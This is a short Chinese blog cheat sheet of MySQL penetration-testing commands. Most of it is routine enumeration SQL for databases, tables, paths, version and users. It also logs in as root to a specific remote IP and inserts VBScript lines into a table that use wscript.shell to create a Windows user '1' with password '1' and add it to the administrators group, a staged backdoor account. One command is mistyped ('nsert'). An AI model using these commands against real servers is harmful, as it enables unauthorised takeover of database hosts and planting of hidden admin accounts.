mysql渗透测试常用

mysql 渗透测试

直接连接到 mysql 远程服务（需要开了远程登陆%）

mysql -h 202.204.62.145 -uroot -p

查看所有数据库

show databases;

使用某个数据库

use xxxx;

查看当前数据库中所有表

show tables;

在test数据库下创建一个新的表

create table a (cmd text);

在表中插入内容添加用户命令

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

nsert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " );

查询数据库数据路径

select @@datadir;

查看所有dir路径

SHOW VARIABLES WHERE Variable_Name LIKE "%dir"

查询MYSQL安装路径

select @@basedir

常用内置函数

select system_user(); 查看系统用户
select current_user();  查看当前用户
select user(); 查询用户
select version(); 查询版本
select database() 查询当前连接数据库
select @@version_compile_os；  查看操作系统版本
select now(); 显示当前时间

获取表结构
desc 表名 ;

show columns from 表名;

删表

drop table xxx;

查看用户

select user from mysql.user；

本文由 sengle 创作，采用 知识共享署名4.0 国际许可协议进行许可
本站文章除注明转载/出处外，均为本站原创或翻译，转载前请务必署名?>